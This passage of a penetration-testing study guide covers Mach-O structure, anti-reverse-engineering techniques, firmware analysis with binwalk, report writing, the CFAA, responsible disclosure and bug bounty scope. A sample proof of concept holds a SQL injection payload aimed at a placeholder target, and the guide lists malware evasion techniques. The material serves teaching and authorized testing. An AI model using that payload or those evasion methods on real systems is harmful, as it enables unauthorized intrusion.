Mach-O structure:┌─────────────────────────┐│ Mach-O Header │ Magic, CPU type, file type, number of load commands├─────────────────────────┤│ Load Commands │ Segment definitions, dynamic linker info, entry point│ - LC_SEGMENT_64 │ Memory segments (__TEXT, __DATA, __LINKEDIT)│ - LC_DYLD_INFO │ Dynamic linking information│ - LC_SYMTAB │ Symbol table│ - LC_DYSYMTAB │ Dynamic symbol table│ - LC_LOAD_DYLIB │ Linked dynamic libraries│ - LC_MAIN │ Entry point offset│ - LC_CODE_SIGNATURE │ Code signing information├─────────────────────────┤│ Sections │ __text, __stubs, __cstring, __data, etc.└─────────────────────────┘Anti-Reverse-Engineering Techniques
Section titled “Anti-Reverse-Engineering Techniques”Static anti-analysis:1. String encryption: Encrypt strings, decrypt at runtime2. Control flow flattening: Replace structured control flow with state machine3. Code virtualization: Transform code into custom bytecode with custom VM4. Code obfuscation: Insert junk code, reorder instructions, opaque predicates5. Packing/compression: Compress executable, decompress at runtime (UPX, Themida)6. Symbol stripping: Remove debug symbols and function names7. Import obfuscation: Resolve imports dynamically (GetProcAddress, dlopen)8. Anti-disassembly: Insert instructions that disassemble differently than they execute
Dynamic anti-analysis:1. Debugger detection: IsDebuggerPresent, ptrace, timing checks2. Virtual machine detection: Check for VM artifacts (CPUID, MAC addresses, drivers)3. Anti-attach: Prevent debugger attachment (NtSetInformationThread)4. Integrity checks: Verify code sections haven't been modified5. Anti-dump: Prevent memory dumping of the process6. Timing checks: Detect single-stepping (RDTSC timing)7. Environment checks: Detect analysis tools, sandboxes, modified system filesFirmware Analysis
Section titled “Firmware Analysis”Firmware analysis workflow:1. Identify the firmware format (binary blobs, UEFI, embedded Linux, router firmware)2. Extract the filesystem (binwalk, firmware-mod-kit, jefferson)3. Analyze the filesystem contents (directory structure, binaries, configuration files)4. Extract and analyze binaries (ELF, proprietary formats)5. Identify communication protocols (serial, JTAG, SPI, UART)6. Look for default credentials, hardcoded keys, debug interfaces7. Identify update mechanisms and sign/verify processes
Common firmware analysis tools:- binwalk: Signature-based extraction of embedded files and filesystems- Firmadyne: Automatic firmware emulation and dynamic analysis- FACT: Firmware Analysis and Comparison Tool- fuzzware: Firmware fuzzing with QEMU- Ghidra: Static analysis of extracted binaries# Firmware extraction with binwalkbinwalk -Me firmware.bin # Extract and recursively scanbinwalk firmware.bin # List identified components
# UEFI firmware analysisuefi-firmware-parser -e bios.binUTK (UEFI Tool Kit) for detailed UEFI analysis
# Common findings in firmware:# - Default or hardcoded credentials# - Unencrypted filesystems# - Debug interfaces enabled (UART, JTAG)# - Unsigned firmware updates# - Outdated components with known vulnerabilities# - Web management interfaces with common vulnerabilities9. Reporting
Section titled “9. Reporting”Vulnerability Report Structure
Section titled “Vulnerability Report Structure”A professional penetration test report must serve multiple audiences: executives who need risk Context, managers who need remediation priorities, and engineers who need technical details to fix The issues.
Report structure:
1. Executive Summary (1-2 pages) - Overall risk posture - Critical findings count - Key recommendations - Business impact summary
2. Engagement Details - Scope (in-scope and out-of-scope) - Testing methodology - Testing dates and duration - Team composition - Assumptions and limitations
3. Findings Summary - Findings by severity (Critical, High, Medium, Low, Informational) - Risk-rated matrix - Comparison with previous assessments (if applicable)
4. Detailed Findings (each finding includes) - Finding title and severity - Description - Impact (business and technical) - Evidence (screenshots, logs, output) - Proof of concept (reproduction steps) - CVSS score and vector - Remediation recommendations - References (CVEs, CWEs, vendor advisories)
5. Appendices - Raw tool output - Full scan results - Glossary - Testing methodology detailsSeverity Classification
Section titled “Severity Classification”| Severity | CVSS Range | Description | Example |
|---|---|---|---|
| Critical | 9.0 - 10.0 | Immediate risk of system compromise | Remote code execution, authentication bypass |
| High | 7.0 - 8.9 | Significant risk, likely exploitable | SQL injection, privilege escalation |
| Medium | 4.0 - 6.9 | Moderate risk, requires specific conditions | XSS, CSRF, information disclosure |
| Low | 0.1 - 3.9 | Minimal risk, limited impact | Information leakage, verbose errors |
| Informational | 0.0 | No direct risk, but worth noting | Missing security headers, cookie flags |
Remediation Recommendations
Section titled “Remediation Recommendations”Effective remediation guidance:1. Be specific: "Upgrade OpenSSL to version 3.0.1 or later" not "fix OpenSSL"2. Provide context: Explain why the vulnerability matters in the client's environment3. Offer alternatives: If immediate upgrade is not possible, suggest compensating controls4. Prioritize: Clearly state which remediation actions should happen first5. Reference standards: Link to CWE, NIST, CIS benchmarks where applicable6. Estimate effort: Give a rough idea of remediation complexity (low/medium/high)7. Include verification: How to confirm the fix is effectiveProof of Concept
Section titled “Proof of Concept”PoC requirements:1. Reproducible: Anyone can follow the steps and reproduce the finding2. Minimal: Demonstrate the issue without causing unnecessary impact3. Clear: Step-by-step instructions with expected and actual results4. Documented: Include timestamps, request/response data, screenshots5. Contained: Do not access or modify more data than necessary to demonstrateExample PoC format:Title: SQL Injection in Search FunctionalitySeverity: CriticalCVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)CWE: CWE-89
Steps to reproduce:1. Navigate to https://target.com/search2. Enter the following in the search field: " OR 1=1--3. Observe that the query returns all records from the database
Expected result: Search should return no results or an error messageActual result: All database records are returned, confirming SQL injection
Evidence:[Include HTTP request/response, screenshots]
Remediation:Use parameterized queries. Replace string concatenation with prepared statements.Reference: OWASP SQL Injection Prevention Cheat Sheet10. Ethics and Law
Section titled “10. Ethics and Law”Computer Fraud and Abuse Act (CFAA)
Section titled “Computer Fraud and Abuse Act (CFAA)”The CFAA (18 U.S.C. Section 1030) is the primary federal law criminalizing unauthorized computer Access in the United States.
Key CFAA provisions:- 18 U.S.C. 1030(a)(2): Intentionally accessing a computer without authorization or exceeding authorized access, obtaining information- 18 U.S.C. 1030(a)(3): Intentionally accessing a non-public government computer- 18 U.S.C. 1030(a)(4): Knowingly accessing a computer with intent to defraud- 18 U.S.C. 1030(a)(5): Intentionally causing damage to a computer- Penalties: Fines and imprisonment (up to 10+ years for repeat offenses)
Key case law implications:- "Without authorization" and "exceeding authorized access" are broadly interpreted- Violating terms of service may constitute exceeding authorized access- Even well-intentioned security research can be prosecuted- Written authorization is the strongest defenseThe legal landscape around security research is evolving. The DOJ updated its CFAA charging policy In 2022 to clarify that “good faith” security research is generally not subject to prosecution. However, this is a charging policy, not a legal defense, and does not change the statutory text. Always obtain written authorization before testing.
Responsible Disclosure
Section titled “Responsible Disclosure”Definition. Responsible disclosure is the practice of privately reporting vulnerabilities to the Affected vendor, giving them a reasonable timeframe to fix the issue before public disclosure.
Standard responsible disclosure timeline:1. Discover vulnerability2. Report privately to vendor (security@vendor.com, security.txt)3. Wait for vendor acknowledgment (typically 5 business days)4. Vendor develops and tests fix (typically 90 days)5. Coordinated public disclosure after fix is available6. If vendor is unresponsive after 90 days, consider public disclosure
Factors that affect timeline:- Severity of the vulnerability (critical = shorter timeline)- Active exploitation in the wild (shorten timeline)- Vendor responsiveness (extend if engaged, shorten if unresponsive)- Complexity of the fix (extend if remediation is genuinely difficult)- Number of affected users (scale remediation effort)Bug Bounty Programs
Section titled “Bug Bounty Programs”Bug bounty programs provide a legal, structured framework for security researchers to report Vulnerabilities in exchange for monetary rewards.
| Platform | Model | Notable Participants |
|---|---|---|
| HackerOne | Third-party | Google, Uber, GitHub, US DoD |
| Bugcrowd | Third-party | Atlassian, Mastercard, Pinterest |
| Intigriti | Third-party | European focus, Philips, Airbus |
| YesWeHack | Third-party | European focus, SNCF, Air France |
| Google VRP | Direct | Google products |
| Microsoft MSRC | Direct | Microsoft products |
| Apple Security Bounty | Direct | Apple products |
Bug bounty best practices:1. Read the program scope carefully -- test only in-scope assets2. Respect the program rules -- do not test social engineering unless explicitly allowed3. Report through the platform -- do not contact the company directly4. Provide clear reproduction steps -- include all necessary details5. Do not access PII -- demonstrate the vulnerability without exposing user data6. Wait for triage -- do not publicly disclose before the program responds7. Be professional -- maintain a respectful tone in all communications8. Document everything -- screenshots, HTTP requests/responses, video if helpfulScope Limitations
Section titled “Scope Limitations”Common scope limitations:- In-scope: Specific IP ranges, domains, applications- Out-of-scope: Third-party services, physical access, social engineering- Safe harbor: Testing within scope is protected; outside scope is not- Rate limiting: Do not perform denial of service- Data handling: Do not access, store, or exfiltrate user data- Reporting: Report through designated channels only- Public disclosure: Do not disclose before coordinated date11. Common Pitfalls
Section titled “11. Common Pitfalls”Going Out of Scope
Section titled “Going Out of Scope”Testing systems or functionality outside the agreed scope is one of the most serious mistakes a Penetration tester can make. It violates the legal authorization and can result in criminal Liability.
Examples of going out of scope:- Testing a domain that was not listed in scope- Scanning IP ranges beyond the authorized block- Attempting to exploit a system after the testing window has closed- Testing a third-party service integrated with the target- Performing social engineering when it was not authorized- Physical access testing when only remote testing was authorized- Accessing databases not explicitly listed in scope